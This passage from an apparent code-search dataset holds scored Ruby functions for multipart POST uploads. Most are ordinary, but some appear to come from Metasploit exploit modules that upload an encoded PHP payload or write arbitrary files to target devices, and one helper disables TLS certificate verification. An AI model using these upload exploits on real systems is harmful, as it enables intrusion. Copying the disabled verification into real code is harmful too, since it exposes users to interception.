Cheetah error: #{resp.body.strip}\" if resp.body =~ /^err/\n \n resp.body\n end", "title": "" }, { "docid": "4492cb32a550ed532cdc3aa8cfdbf621", "score": "0.63788974", "text": "def raw_multipart_post_request(path, data={})\n require 'net/http/post/multipart'\n Net::HTTP::Post::Multipart.new(path, wrapped_multipart_post_data(data)).tap do |req|\n req['Cookie'] = \"#{self.class::COOKIE_NAME}=#{CGI::escape(auth.to_s)}\"\n end\n end", "title": "" }, { "docid": "4fc356117f97bd29dc02d70074211264", "score": "0.63645786", "text": "def store(file)\n @client.multipart_post(path_for()) do\n [\n \"Content-Disposition: form-data; name=\\\"file\\\"; filename=\\\"#{file.file_name.basename rescue \"null\"}\\\"\\r\\nContent-Type: #{file.mime_type}\\r\\n\\r\\n#{file.content}\",\n \"Content-Disposition: form-data; name=\\\"MimeMajor\\\"\\r\\n\\r\\n#{file.mime_major}\",\n \"Content-Disposition: form-data; name=\\\"MimeMinor\\\"\\r\\n\\r\\n#{file.mime_minor}\",\n \"Content-Disposition: form-data; name=\\\"FileClass\\\"\\r\\n\\r\\n#{mfs_class_name}\"\n ]\n end\n end", "title": "" }, { "docid": "d9c3a47899f22f2764b27cb8b5054864", "score": "0.6354458", "text": "def text_to_multipart(key,value)\n return \"Content-Disposition: form-data; name=\\\"#{URI::escape(key)}\\\"\\r\\n\" + \n \"\\r\\n\" + \n \"#{value}\\r\\n\"\nend", "title": "" }, { "docid": "34cc0d3ff23f2775e016b8c0f7f675f8", "score": "0.634601", "text": "def multipart_flag\n true\n end", "title": "" }, { "docid": "4424d763d2d9725797f516c10404eebd", "score": "0.63288796", "text": "def upload(path, data)\r\n vprint_status(\"#{peer} - Writing #{data.length} bytes to #{path}\")\r\n\r\n boundary = \"----WebKitFormBoundary#{rand_text_alphanumeric(rand(10) + 5)}\"\r\n post_data = \"--#{boundary}\\r\\n\"\r\n post_data << \"Content-Disposition: form-data; name=\\\"ReplySuccessPage\\\"\\r\\n\"\r\n post_data << \"\\r\\nreplyuf.htm\\r\\n\"\r\n post_data << \"--#{boundary}\\r\\n\"\r\n post_data << \"Content-Disposition: form-data; name=\\\"ReplyErrorPage\\\"\\r\\n\"\r\n post_data << \"\\r\\nreplyuf.htm\\r\\n\"\r\n post_data << \"--#{boundary}\\r\\n\"\r\n post_data << \"Content-Disposition: form-data; name=\\\"Filename\\\"\\r\\n\"\r\n post_data << \"\\r\\n#{path}\\r\\n\"\r\n post_data << \"--#{boundary}\\r\\n\"\r\n post_data << \"Content-Disposition: form-data; name=\\\"UploadFile\\\"; filename=\\\"#{rand_text_alphanumeric(rand(8) + 5)}\\\"\\r\\n\"\r\n post_data << \"Content-Type: application/octet-stream\\r\\n\"\r\n post_data << \"\\r\\n#{data}\\r\\n\"\r\n post_data << \"--#{boundary}\\r\\n\"\r\n post_data << \"Content-Disposition: form-data; name=\\\"ConfigUploadFile\\\"\\r\\n\"\r\n post_data << \"\\r\\nUpload File\\r\\n\"\r\n post_data << \"--#{boundary}\\r\\n\"\r\n\r\n send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri('setFileUpload'),\r\n 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),\r\n 'ctype' => \"multipart/form-data; boundary=#{boundary}\",\r\n 'data' => post_data)\r\n end", "title": "" }, { "docid": "d5676987718cb4ff50630b06220833bd", "score": "0.6325765", "text": "def file_post(url, params={})\n multipart_conn.post(url, file_payload(params))\n end", "title": "" }, { "docid": "c5d0a2fe410b7a01f6339aa2fae68bda", "score": "0.6316899", "text": "def add_multipart_data(req,params)\n boundary = Time.now.to_i.to_s(16)\n req[\"Content-Type\"] = \"multipart/form-data; boundary=#{boundary}\"\n body = \"\"\n params.each do |key,value|\n esc_key = CGI.escape(key.to_s)\n body << \"--#{boundary}#{CRLF}\"\n if value.respond_to?(:read)\n body << \"Content-Disposition: form-data; name=\\\"#{esc_key}\\\"; filename=\\\"#{File.basename(value.path)}\\\"#{CRLF}\"\n body << \"Content-Type: #{mime_type(value.path)}#{CRLF*2}\"\n body << value.read\n else\n body << \"Content-Disposition: form-data; name=\\\"#{esc_key}\\\"#{CRLF*2}#{value}\"\n end\n body << CRLF\n end\n body << \"--#{boundary}--#{CRLF*2}\"\n req.body = body\n req[\"Content-Length\"] = req.body.size\n end", "title": "" }, { "docid": "3017bd7dcb94bba8268036c6b9d95c97", "score": "0.63164663", "text": "def _create_upload_data(opts={})\n boundary = opts['boundary']\n api_key = opts['api_key']\n filename = opts['filename']\n data = opts['data']\n\n # Can't use Rex::MIME::Message, or you WILL be increditably outraged, it messes with your data.\n # See VT report for example: 4212686e701286ab734d8a67b7b7527f279c2dadc27bd744abebecab91b70c82\n data = %Q|--#{boundary}\nContent-Disposition: form-data; name=\"apikey\"\n\n#{api_key}\n--#{boundary}\nContent-Disposition: form-data; name=\"file\"; filename=\"#{filename}\"\nContent-Type: application/octet-stream\n\n#{data}\n--#{boundary}--\n|\n\n data\n end", "title": "" }, { "docid": "340beb3579956b4a25266deed9f0dc87", "score": "0.63084686", "text": "def add_multipart_data(req,params)\n boundary = Time.now.to_i.to_s(16)\n req[\"Content-Type\"] = \"multipart/form-data; boundary=#{boundary}\"\n body = \"\"\n params.each do |key,value|\n esc_key = CGI.escape(key.to_s)\n body << \"--#{boundary}#{CRLF}\"\n if value.respond_to?(:read)\n body << \"Content-Disposition: form-data; name=\\\"#{esc_key}\\\"; filename=\\\"#{File.basename(value.path)}\\\"#{CRLF}\"\n body << \"Content-Type: #{MIME::Types.type_for(value.path)}#{CRLF*2}\"\n body << value.read\n else\n body << \"Content-Disposition: form-data; name=\\\"#{esc_key}\\\"#{CRLF*2}#{value}\"\n end\n body << CRLF\n end\n body << \"--#{boundary}--#{CRLF*2}\"\n req.body = body\n req[\"Content-Length\"] = req.body.size\n end", "title": "" }, { "docid": "1b284e0d1e58fd5c40cdeccf864c18b3", "score": "0.63072467", "text": "def multipart_payload(payload, file)\n payload = payload.is_a?(Hash) ? payload : MultiJson.load(payload)\n filename = 'file'\n filename, file = file.split '=' if file.is_a?(String)\n file = file[1..-1] if file.start_with? '@' # be kind to curl users\n payload[filename] = file.is_a?(File) ? file : File.new(file, 'rb')\n payload\nend", "title": "" }, { "docid": "cd62edfa181eb939f1500b240d26da6c", "score": "0.63018924", "text": "def test_plugin_multipart_retry_file_post\n check_error = lambda { |response|\n (response.is_a?(HTTPX::ErrorResponse) && response.error.is_a?(HTTPX::TimeoutError)) || response.status == 405\n }\n uri = build_uri(\"/delay/4\")\n retries_session = HTTPX.plugin(RequestInspector)\n .plugin(:retries, max_retries: 1, retry_on: check_error) # because CI...\n .with_timeout(total_timeout: 2)\n .plugin(:multipart)\n retries_response = retries_session.post(uri, retry_change_requests: true, form: { image: File.new(fixture_file_path) })\n assert check_error[retries_response], \"expected #{retries_response} to be an error response\"\n assert retries_session.calls == 1, \"expect request to be retried 1 time (was #{retries_session.calls})\"\n end", "title": "" }, { "docid": "710920e06cc7d46c4d6b08dee97f14b4", "score": "0.6300137", "text": "def create_post_request(path, fields, files)\n data = encode_fields(fields, files)\n request = Net::HTTP::Post.new(path)\n request.content_type = 'multipart/form-data; boundary=' + generate_boundary\n request.content_length = data.length\n request.body = data\n \n request\n end", "title": "" }, { "docid": "b85dabc71250c4a2abaea1fcf99ea4eb", "score": "0.6277674", "text": "def test_new_entry_with_two_photos_multipart_with_alt_from_our_own_domain\n stub_get_github_request\n stub_get_pages_branch\n stub_post_github_request\n stub_patch_github_request\n post(\"/micropub/testsite\", {\n h: \"entry\",\n content: \"Adding a new photo\",\n photo: [\"https://example.com/img/photo.jpg\", \"https://example.com/img/photo2.jpg\"],\n \"mp-photo-alt\": [\"Alt 1\"]\n })\n assert last_response.accepted?, \"Expected 202 but got #{last_response.status}\"\n assert last_response.header.include?(\"Location\"), \"Expected 'Location' header, but got #{last_response.header}\"\n assert last_response.body.include?(\"![Alt 1](https://example.com/img/photo.jpg)\")\n assert last_response.body.include?(\"![](https://example.com/img/photo2.jpg)\")\n end", "title": "" }, { "docid": "4eefe1c62e27df7a8c8b68784267fb44", "score": "0.6271263", "text": "def compose_multipart_post_body(boundary, form_fields, file_fields)\n body = StringIO.new('r+b')\n form_fields.each do |k,v|\n body.write \"--#{boundary}\\r\\n\"\n body.write \"content-disposition: form-data; name=\\\"#{k}\\\"\\r\\n\\r\\n\"\n body.write \"#{v}\\r\\n\"\n end\n file_fields.each do |name, path_or_io|\n if path_or_io.respond_to? :read # IO-ish object, comes opened\n close_input = false\n input = path_or_io\n if path_or_io.respond_to? :path\n filepath = path_or_io.path\n else\n filename = 'src.tar.gz'\n end\n else # it's a filepath\n close_input = true\n input = File.open(path_or_io, 'rb')\n filepath = path_or_io\n end\n filename ||= File.basename(filepath)\n body.write \"--#{boundary}\\r\\n\"\n body.write \"content-disposition: form-data; name=\\\"#{name}\\\"; filename=\\\"#{filename}\\\"\\r\\n\"\n body.write \"content-type: application/x-gzip\\r\\n\"\n body.write \"content-transfer-Encoding: binary\\r\\n\\r\\n\"\n body.write(input.read)\n input.close if close_input\n body.write \"\\r\\n\"\n end\n body.write \"--#{boundary}--\\r\\n\"\n body.flush\n body.rewind\n body\n end", "title": "" }, { "docid": "08f4bc30546789081417c622304e6c42", "score": "0.6265828", "text": "def parse(post)\n # 30 + 12\n #------------------------------8a827a0e6829\n #Content-Disposition: form-data; name=\"msgtype\"\n #Content-Type: text/plain;charset=utf-8\n #\n #subscribe\n #------------------------------8a827a0e6829\n #Content-Disposition: form-data; name=\"ordernumber\"\n #\n #BILP94406\n if post =~ /\\A--([-\\w]+)/\n self.params.update(Rack::Multipart.parse_multipart(\n 'CONTENT_TYPE' => \"multipart/form-data; boundary=#{$1}\", \n 'rack.input' => StringIO.new(post)\n ))\n else\n super\n end\n end", "title": "" }, { "docid": "163cd9466b138f297270b807ec08389f", "score": "0.6252257", "text": "def multipart_request\n ::File.open(body_file_attrs[:local_path]) do |file|\n req = Net::HTTP::Post::Multipart.new(\n api_url,\n body_hash.merge(\n 'asset' => UploadIO.new(\n file,\n 'application/octet-stream',\n body_file_attrs[:name]\n )\n )\n )\n req['Authorization'] = \"Bearer #{access_token.token}\"\n # access_token.sign! req\n if RedboothRuby.configuration[:use_ssl]\n http = Net::HTTP.new(\n RedboothRuby.configuration[:api_base],\n Net::HTTP.https_default_port\n )\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http.use_ssl = RedboothRuby.configuration[:use_ssl]\n else\n domain, port = RedboothRuby.configuration[:api_base].split(':')\n http = Net::HTTP.new(domain, port || Net::HTTP.http_default_port)\n end\n http.start do |inner_http|\n inner_http.request(req)\n end\n end\n end", "title": "" }, { "docid": "7bff8259cdaac073e67fa9fcbaaf5f73", "score": "0.62457097", "text": "def upload\r\n @fname = \"#{rand_text_alphanumeric(rand(10)+6)}.php\"\r\n php = \"<?php #{payload.encoded} ?>\"\r\n\r\n data = Rex::MIME::Message.new\r\n data.add_part('upload', nil, nil, 'form-data; name=\"op1\"')\r\n data.add_part(php, 'application/octet-stream', nil, \"form-data; name=\\\"fileupload\\\"; filename=\\\"#{@fname}\\\"\")\r\n post_data = data.to_s.gsub(/^\\r\\n--_Part_/, '--_Part_')\r\n\r\n print_status(\"#{peer} - Uploading malicious file...\")\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'upload.php'),\r\n 'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\r\n 'cookie' => 'access=3',\r\n 'data' => post_data,\r\n 'vars_get' => {\r\n 'op' => 'newin'\r\n }\r\n })\r\n\r\n fail_with(Failure::Unknown, \"#{peer} - Request timed out while uploading\") unless res\r\n fail_with(Failure::NotFound, \"#{peer} - No upload.php found\") if res.code.to_i == 404\r\n fail_with(Failure::UnexpectedReply, \"#{peer} - Unable to write #{@fname}\") if res.body and (res.body =~ /Couldn't copy/ or res.body !~ /file uploaded\\!/)\r\n\r\n print_good(\"#{peer} - Payload uploaded successfully.\")\r\n register_files_for_cleanup(@fname)\r\n\r\n if res.body.to_s =~ /<br>folder to use: .+#{target_uri.path}\\/?(.+)<br>/\r\n @upload_path = normalize_uri(target_uri.path, \"#{$1}\")\r\n print_good(\"#{peer} - Found upload path #{@upload_path}\")\r\n else\r\n @upload_path = normalize_uri(target_uri.path, 'in')\r\n print_warning(\"#{peer} - Could not find upload path - assuming '#{@upload_path}'\")\r\n end\r\n end", "title": "" }, { "docid": "10eb61b327085d4d14cca03d8fa502c9", "score": "0.624434", "text": "def test_should_not_bomb_on_empty_create_upload\n login_as :trevor\n post :create\n assert_response :success\n end", "title": "" }, { "docid": "f8d59161be27cc07bee53e75f83198c0", "score": "0.62216", "text": "def build_multipart_content(params)\n parts, boundary = [], \"#{rand(1000000)}-we-are-all-doomed-#{rand(1000000)}\"\n\n params.each do |name, value|\n data = []\n if value.is_a?(Pathname) then\n data << \"Content-Disposition: form-data; name=\\\"#{urlencode(name.to_s)}\\\"; filename=\\\"#{value.basename}\\\"\"\n data << \"Content-Type: #{value.type}\"\n data << \"Content-Length: #{value.size}\"\n data << \"Content-Transfer-Encoding: binary\"\n data << \"\"\n data << value.binread\n else\n data << \"Content-Disposition: form-data; name=\\\"#{urlencode(name.to_s)}\\\"\"\n data << \"\"\n data << value\n end\n\n parts << data.join(\"\\r\\n\") + \"\\r\\n\"\n end\n\n [ \"--#{boundary}\\r\\n\" + parts.join(\"--#{boundary}\\r\\n\") + \"--#{boundary}--\", {\n \"Content-Type\" => \"multipart/form-data; boundary=#{boundary}\"\n }]\nend", "title": "" }, { "docid": "4f011abae20ec700c2a19a35f7b5515a", "score": "0.621181", "text": "def make_multipart(params)\n boundary = (0...8).map { rand(255).to_s 16 }.join '_'\n data = expand_params(params).map do |key, value|\n [ \"--#{boundary}\",\n \"Content-Disposition: form-data; name=\\\"#{key}\\\"\",\n nil,\n value]\n end\n\n data << \"--#{boundary}--\"\n return [boundary, data.join(\"\\r\\n\")]\n end", "title": "" }, { "docid": "1eeb824b6648dcd82417c6043ba567ea", "score": "0.62045544", "text": "def multipart_content_type(env); end", "title": "" }, { "docid": "015c26042bcec892f071ff9af854e069", "score": "0.62036157", "text": "def test_new\n # foo = fixture_file_upload('/files/img_1.jpg', 'image/jpg')\n # @image = Image.new(:file => foo)\n # \n # assert @image.save! \n end", "title": "" }, { "docid": "67aa28ed5647d7bdc0f2f3c7db457f3a", "score": "0.6200537", "text": "def mime_type\n \"multipart/form-data\"\n end", "title": "" }, { "docid": "636527818e816a579554b9130f8610c9", "score": "0.6187906", "text": "def mock_file_request(name, mime_type)\n ActionDispatch::Http::UploadedFile.new({\n :filename => \"#{name}\",\n :type => \"#{mime_type}\",\n :tempfile => File.new(\"#{TEST_IMAGES_PATH}/#{name}\")\n })\n end", "title": "" }, { "docid": "16e59fc63f12ba7fc8f5ad6791f3d110", "score": "0.6179758", "text": "def upload_multipart_form_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AttachmentControllerApi.upload_multipart_form ...'\n end\n # resource path\n local_var_path = '/attachments/multipart'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'contentType'] = opts[:'content_type'] if !opts[:'content_type'].nil?\n query_params[:'filename'] = opts[:'filename'] if !opts[:'filename'].nil?\n query_params[:'x-filename'] = opts[:'x_filename'] if !opts[:'x_filename'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(opts[:'inline_object']) \n\n # return_type\n return_type = opts[:return_type] || 'Array<String>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['API_KEY']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AttachmentControllerApi#upload_multipart_form\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "3b865384a03c821fa6727efc2fd508c0", "score": "0.61721313", "text": "def test_should_save_new_product_with_a_lot_of_stuff\n login_as :admin\n\n # Call the new form.\n get :new\n assert_response :success\n assert_template 'new'\n \n shrub1 = fixture_file_upload(\"/files/shrub1.jpg\", 'image/jpeg')\n shrub2 = fixture_file_upload(\"/files/shrub2.jpg\", 'image/jpeg')\n lightsabers_upload = fixture_file_upload(\"/files/lightsabers.jpg\", 'image/jpeg')\n lightsaber_blue_upload = fixture_file_upload(\"/files/lightsaber_blue.jpg\", 'image/jpeg')\n lightsaber_green_upload = fixture_file_upload(\"/files/lightsaber_green.jpg\", 'image/jpeg')\n lightsaber_red_upload = fixture_file_upload(\"/files/lightsaber_red.jpg\", 'image/jpeg')\n\n post :save,\n :product => {\n :code => \"SHRUBBERY\",\n :name => \"Shrubbery\",\n :description => \"A shrubbery. One that looks nice, and is not too expensive. Perfect for a knight who say Ni.\",\n :price => 90.50,\n :date_available => \"2007-12-01 00:00\",\n :quantity => 38,\n :size_width => 24,\n :size_height => 24,\n :size_depth => 12,\n :weight => 21.52,\n :related_product_suggestion_names => [\"\", \"\", \"\", \"\", \"\"],\n :tag_ids => [\"\", \"\"]\n },\n :image => [ {\n :image_data_temp => \"\",\n :image_data => shrub1\n }, {\n :image_data_temp => \"\",\n :image_data => shrub2\n }, {\n :image_data_temp => \"\",\n :image_data => lightsabers_upload\n }, {\n :image_data_temp => \"\",\n :image_data => lightsaber_blue_upload\n }, {\n :image_data_temp => \"\",\n :image_data => lightsaber_green_upload\n }, {\n :image_data_temp => \"\",\n :image_data => \"\"\n } ],\n :download => [\n {\n :download_data_temp => '',\n :download_data => lightsaber_red_upload\n }\n ]\n \n # If saved we should be redirected to edit form. \n assert_response :redirect\n assert_redirected_to :action => :edit, :id => assigns(:product).id\n \n # Verify that the product and everything else are there.\n a_product = Product.find_by_code('SHRUBBERY')\n assert_not_nil a_product \n assert_equal 5, a_product.images.count\n assert_equal 5, a_product.product_images.count\n assert_equal 1, a_product.downloads.count\n\n # Clean up system dir.\n a_product.images.destroy_all\n a_product.downloads.destroy_all\n \n a_product.reload\n\n # Verify that the product and everything else are there.\n assert_equal 0, a_product.images.count\n assert_equal 0, a_product.product_images.count\n assert_equal 0, a_product.downloads.count\n\n end", "title": "" }, { "docid": "539a3ce170a3daae91a35f853ad36ab8", "score": "0.6168668", "text": "def has_multipart?(obj); end", "title": "" }, { "docid": "051f225ee642c0545b3e8c9671938e06", "score": "0.616632", "text": "def dcs_request(uri, data)\n boundary = Array::new(16) { \"%2.2d\" % rand(99) }.join()\n extheader = {\n \"content-type\" => \"multipart/form-data; boundary=___#{ boundary }___\"\n }\n\n client = HTTPClient.new\n response = client.post_content(uri, data, extheader)\nend", "title": "" }, { "docid": "c5a700cd3ca87f8ad28477a811e29cb6", "score": "0.6136759", "text": "def file_upload(file = \"testfile.txt\", mime_type = \"text/plain\")\n Rack::Test::UploadedFile.new(File.join(__dir__, \"fixtures\", file),\n mime_type)\n end", "title": "" }, { "docid": "ca6bdfb2609db36055843101ad3de794", "score": "0.61298025", "text": "def test_valid_content\n media_file = Tempfile.new(\"media\")\n\n a = Attachment.new(:media => ActionController::TestUploadedFile.new(TEST_FILE_PATH, TEST_CONTENT_TYPE))\n\n assert_valid a\n end", "title": "" }, { "docid": "442d2f566909cabc5c4c076009ebeecc", "score": "0.6124252", "text": "def content_type\n \"multipart/form-data; boundary=#{@boundary}\"\n end", "title": "" }, { "docid": "f2361fb8febc78f680cef806e90ee141", "score": "0.61098206", "text": "def get_multipart_upload(request)\n if request.params.key?(\"file\")\n value = request.params[\"file\"]\n elsif request.params[\"files\"].is_a?(Array)\n error!(400, \"Too Many Files\") if request.params[\"files\"].count > 1\n value = request.params[\"files\"].first\n end\n\n error!(400, \"Upload Not Found\") if value.nil?\n\n if value.is_a?(Hash) && value[:tempfile]\n @shrine_class.rack_file(value)\n elsif %i[read rewind eof? close].all? { |m| value.respond_to?(m) }\n value\n else\n error!(400, \"Upload Not Valid\")\n end\n end", "title": "" }, { "docid": "8aeb1e7c1db8ddf9fb141226217804e8", "score": "0.60989773", "text": "def upload(base, file, cookies)\n data = Rex::MIME::Message.new\n data.add_part(file, 'application/octet-stream', nil, \"form-data; name=\\\"file\\\"; filename=\\\"#{@fname}\\\"\")\n data.add_part(\"Go\", nil, nil, 'form-data; name=\"go\"')\n data.add_part(\"images\", nil, nil, 'form-data; name=\"directory\"')\n data.add_part(\"1\", nil, nil, 'form-data; name=\"upload_file\"')\n data_post = data.to_s\n data_post = data_post.gsub(/^\\r\\n\\-\\-\\_Part\\_/, '--_Part_')\n\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(base, 'index.php'),\n 'cookie' => cookies,\n 'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\n 'vars_get' => {\n 'sec' => 'gsetup',\n 'sec2' => 'godmode/setup/file_manager',\n },\n 'data' => data_post\n })\n\n register_files_for_cleanup(@fname)\n return res\n end", "title": "" }, { "docid": "24e57f58616ee1ddf1352f49b65a7dbd", "score": "0.6093356", "text": "def request_data\n query_params = build_query()\n\n case @enctype.downcase\n when /^multipart\\/form-data/\n boundary = rand_string(20)\n @enctype = \"multipart/form-data; boundary=#{boundary}\"\n\n delimiter = \"--#{boundary}\\r\\n\"\n\n data = ::String.new\n\n query_params.each do |k,v|\n if k\n data << delimiter\n param_to_multipart(k, v, data)\n end\n end\n\n @file_uploads.each do |f|\n data << delimiter\n file_to_multipart(f, data)\n end\n\n data << \"--#{boundary}--\\r\\n\"\n else\n Mechanize::Util.build_query_string(query_params)\n end\n end", "title": "" }, { "docid": "e8101d0feb546ce68b1931c222287677", "score": "0.60818285", "text": "def _course_package_upload(path, file, method)\n # name = the content name,\n # e.g. \"Resource\", \"profileImage\", \"name\", \"description\", \"file\", \"targetUsers\"\n # file = the File's name in the directory.\n # method = POST or PUT\n # json = the json appended to the end of the request body\n # auth_uri = path\n auth_uri = create_authenticated_uri(path, method)\n uri = URI.parse(auth_uri)\n\n boundary = \"xxBOUNDARYxx\"\n header = { \"Content-Type\" => \"multipart/form-data; boundary=#{boundary}\" }\n # setup the post body\n post_body = []\n post_body << \"--#{boundary}\\n\"\n post_body << \"Content-Disposition: form-data; name = \\\"Resource\\\"; filename=\\\"#{File.basename(file)}\\\"\\r\\n\"\n post_body << \"Content-Type: #{MIME::Types.type_for(file)}\\r\\n\\r\\n\"\n post_body << File.read(file)\n post_body << \"\\r\\n\\r\\n--#{boundary}--\\r\\n\"\n\n # Create the HTTP objects\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Post.new(uri.request_uri, header)\n request.body = post_body.join\n\n # Send the request\n response = http.request(request)\n JSON.parse(response)\nend", "title": "" }, { "docid": "078dfbd28837fcb440a2ed33eb113b8e", "score": "0.6081773", "text": "def test_should_create_profile_picture\n image = fixture_file_upload('/files/rails.png', 'image/png')\n assert_difference('ProfilePicture.count', 4) do\n post :create, :profile_picture => {:uploaded_data => image }, :html => { :multipart => true }\n end\n \n assert_redirected_to person_path(assigns(:profile_picture).person)\n end", "title": "" }, { "docid": "e108fbcdc853b31717755eb23d64a39c", "score": "0.60778743", "text": "def test_should_save_new_product_but_not_the_image\n login_as :admin\n\n # In turn of an image, try to upload a text file in its place.\n text_asset = fixture_file_upload(\"/files/text_asset.txt\", 'text/plain')\n\n # Call the new form.\n get :new\n assert_response :success\n assert_template 'new'\n \n # Post to it a product and an empty image.\n post :save,\n :product => {\n :code => \"SHRUBBERY\",\n :name => \"Shrubbery\",\n :description => \"A shrubbery. One that looks nice, and is not too expensive. Perfect for a knight who say Ni.\",\n :price => 90.50,\n :date_available => \"2007-12-01 00:00\",\n :quantity => 38,\n :size_width => 24,\n :size_height => 24,\n :size_depth => 12,\n :weight => 21.52,\n :related_product_suggestion_names => [\"\", \"\", \"\", \"\", \"\"],\n :tag_ids => [\"\"]\n },\n :image => [ {\n :image_data_temp => \"\",\n :image_data => text_asset\n }, {\n :image_data_temp => \"\",\n :image_data => \"\"\n } ],\n :download => []\n \n # If saved we should be redirected to edit form. \n assert_response :redirect\n assert_redirected_to :action => :edit, :id => assigns(:product).id\n \n # Verify that the product really is there and it doesn't have images.\n a_product = Product.find_by_code('SHRUBBERY')\n assert_not_nil a_product \n assert_equal a_product.images.count, 0\n\n # The signal that the image has problems is a flash message\n assert !flash[:notice].blank?\n end", "title": "" }, { "docid": "c1526ab884d49aa40f018293b9e5bc8a", "score": "0.60762215", "text": "def multipart_upload(file)\n delete_object_if_exists\n FileSpliter.split_into_files(file.path).each do |part_path|\n File.open(part_path) do |input|\n # Upload parts\n # path example: `cucumber_container/cucumber_object/lorem.txt/part_00000'\n create_object(*params).write(input, content_type: 'application/octet-stream',\n part_location: part_location(part_path))\n end\n File.unlink(part_path) # Remove part from file system\n end\n # Create the manifest\n # path example: `cucumber_container/cucumber_object/lorem.txt/'\n create_object(*params).write(object_manifest: part_location(''), content_type: 'application/octet-stream')\n end", "title": "" }, { "docid": "90691e15712a90f40f90e57ad132fded", "score": "0.6045819", "text": "def wrapped_multipart_post_data data\n {}.tap do |wrapped|\n data.each_pair do |key, value|\n if value.respond_to?(:read)\n # We are going to assume it's always XML we're uploading.\n wrapped[key] = UploadIO.new(value, \"application/xml\", File.basename(value.path))\n else\n wrapped[key] = value\n end\n end\n end\n end", "title": "" }, { "docid": "dbc14e5c716ed5be891001125b0252aa", "score": "0.6038091", "text": "def make_multipart(params) # :nodoc:\n set_hash params\n\n super params\n end", "title": "" }, { "docid": "5f674e699f6a49db2569e17bbe43e67f", "score": "0.6034626", "text": "def test_monkey_upload_for_user\n # Step 1\n @user = setup_user\n\n # Step 2\n upload_and_link_image_by_user_id(@user)\n assert_response(@response, :success)\n\n # Step 3\n params = {\n 'user_id' => @user.id,\n 'api_key' => @api_key\n }\n\n get '/user', params\n assert_response(@response, :succes)\n\n # Step 4\n assert(@parsed_response['count'] == 1, @parsed_response)\n image = @parsed_response['images'].first\n assert(image['image_path'], image)\n assert_equal('user_id', image['type_name'], image)\n assert_equal('XX3', image['user_type'], image)\n assert_equal(@user.id.to_s, image['ext_id'], image)\n assert_equal(@user.id, image['user_id'], image)\n assert_equal(@user.display_name, image['user'], image)\n assert_match(@user.cookie_id, image['caption'], image)\n end", "title": "" }, { "docid": "058e90ae805ef24ce814a2b99d3ca738", "score": "0.60219234", "text": "def post_media(data, action=\"uploadAudio\")\n puts \"#{@url}/#{action}\"\n response = RestClient.post \"#{@url}/#{action}\", { \n :audio => File.new(data.delete(:audio), 'rb'),\n :call_detail_id => data.delete(:call_detail_id)\n }.merge(data.merge(@auth)) \n response.body\n end", "title": "" }, { "docid": "4d76b7a723f8005ae8bad72fab3c9c9e", "score": "0.60193044", "text": "def test_preview\n post :preview, :xhr => true, :params => { :type => \"html\" }\n assert_response :success\n\n post :preview, :xhr => true, :params => { :type => \"markdown\" }\n assert_response :success\n\n post :preview, :xhr => true, :params => { :type => \"text\" }\n assert_response :success\n end", "title": "" }, { "docid": "794f63865f0b5498cdb40eaf58ab9602", "score": "0.6018908", "text": "def post(uri, params, files=[])\n raise Flareshow::ConfigurationException unless server_defined?\n # create the request object\n req = Net::HTTP::Post.new(uri.path)\n # set request headers\n req.add_field \"Accept\", \"application/json\"\n req.add_field \"User-Agent\", \"ruby flareshow\"\n req.add_field \"Accept-Encoding\", \"compress, gzip\"\n\n # just json\n if !files || files.empty?\n req.add_field \"Content-type\", \"application/json; charset=UTF-8\"\n # set the postbody\n req.body = params.to_json\n # handle file params\n else\n params = params.map{|p| \n val = p[1].is_a?(String) ? p[1] : p[1].to_json\n Param.new(p[0], val, \"application/json\")\n }\n files.each do |f|\n params << FileParam.new(f[\"part_id\"], f[\"file_path\"], File.read(f[\"file_path\"]))\n end\n body, header = *MultipartPost.prepare_query(params)\n req.add_field \"Content-type\", header[\"Content-type\"]\n req.body = body\n end\n \n # make the request\n http = Net::HTTP.new(uri.host, uri.port)\n http.set_debug_output DEFAULT_LOGGER if debug_output\n response = http.start {|h| h.request(req)}\n \n # normalize the response\n response = process_response(response)\n log_response(response)\n response\n end", "title": "" }, { "docid": "7df04b810739c6496d3c364c22ee183d", "score": "0.60079247", "text": "def _parse_multipart_post(req, data, pos, epos, state, dir)\n while pos < epos\n case req.multistate\n \n # Looking for headers that preceed the data\n when :headers\n i = data.index(\"\\n\", pos)\n if i and i < epos\n req.bcheck << data[pos...i]\n pos = i + 1\n \n # Exit condition - \\r\\n\\r\\n\n if req.bcheck.length < 2\n req.multistate = :body_check\n req.nfwd = false\n req.fparser = FileParser.new(@event_collector, state, dir,\n :http_post, 'multipart')\n \n # boundary found, not really a big deal right now\n #elsif req.bcheck.include?(req.multipart)\n end # of if exit condition or boundary\n req.bcheck = ''\n else\n req.bcheck << data[pos...epos]\n return nil\n end # of if newline found\n \n # Getting the body, always checking for the boundary and newlines.\n when :body_check\n \n # If our buffered data is less than the boundary, buffer more data.\n rem = req.multipart.length - req.bcheck.length\n \n # Check for a newline before buffering\n i = data.index(\"\\r\\n\", pos)\n i += 1 if i\n \n # Okay, we found a newline before the buffer could possibly be the\n # boundary, so this data is good to send along.\n if i and i < epos and i - pos < rem\n req.bcheck << data[pos...(i-1)]\n \n # We might have to prepend a newline - any chunck except the first\n 